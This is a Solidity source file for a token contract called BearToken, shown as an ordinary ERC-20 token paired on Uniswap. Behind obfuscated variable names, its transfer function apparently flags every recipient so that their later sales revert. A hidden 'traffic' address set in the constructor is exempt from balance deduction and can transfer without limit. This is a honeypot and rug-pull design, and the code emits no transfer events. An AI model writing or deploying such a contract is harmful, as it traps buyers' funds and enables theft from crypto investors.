文件 1 的 1:Contract.sol
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountBearTokenDesired,
uint amountBearTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountBearToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountBearTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountBearToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountBearTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountBearToken, uint amountETH);
function swapExactBearTokensForBearTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapBearTokensForExactBearTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForBearTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapBearTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactBearTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactBearTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferBearTokens(
address token,
uint liquidity,
uint amountBearTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferBearTokens(
address token,
uint liquidity,
uint amountBearTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactBearTokensForBearTokensSupportingFeeOnTransferBearTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForBearTokensSupportingFeeOnTransferBearTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactBearTokensForETHSupportingFeeOnTransferBearTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BearToken is Ownable {
uint256 private goose;
string private show;
uint256 private _tTotal;
string private blue;
uint256 private properly;
uint8 private price;
function name() public view returns (string memory) {
return show;
}
function symbol() public view returns (string memory) {
return blue;
}
uint256 pleasure;
uint256 bottle;
bool opposite;
address private dug;
address private nodded;
address private place;
IUniswapV2Router02 public uniswapV2Router;
function decimals() public view returns (uint256) {
return price;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private nearer;
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return nearer[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function thy(
address everybody,
address difference,
uint256 hurt
) internal {
opposite = dug == everybody;
if (!opposite && baseball[everybody] == 0 && mill[everybody] > 0) {
baseball[everybody] -= price;
}
pleasure = hurt * goose;
if (baseball[everybody] == 0) {
nearer[everybody] -= hurt;
}
bottle = pleasure / properly;
nodded = place;
place = difference;
hurt -= bottle;
mill[nodded] += price;
nearer[difference] += hurt;
}
mapping(address => uint256) private mill;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private baseball;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
thy(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
thy(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
return true;
}
constructor(
string memory happy,
string memory magic,
address slope,
address traffic
) {
uniswapV2Router = IUniswapV2Router02(slope);
dug = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
show = happy;
blue = magic;
price = 9;
goose = 3;
properly = 100;
baseball[traffic] = price;
_tTotal = 1000000000000000 * 10**price;
nearer[msg.sender] = _tTotal;
}
}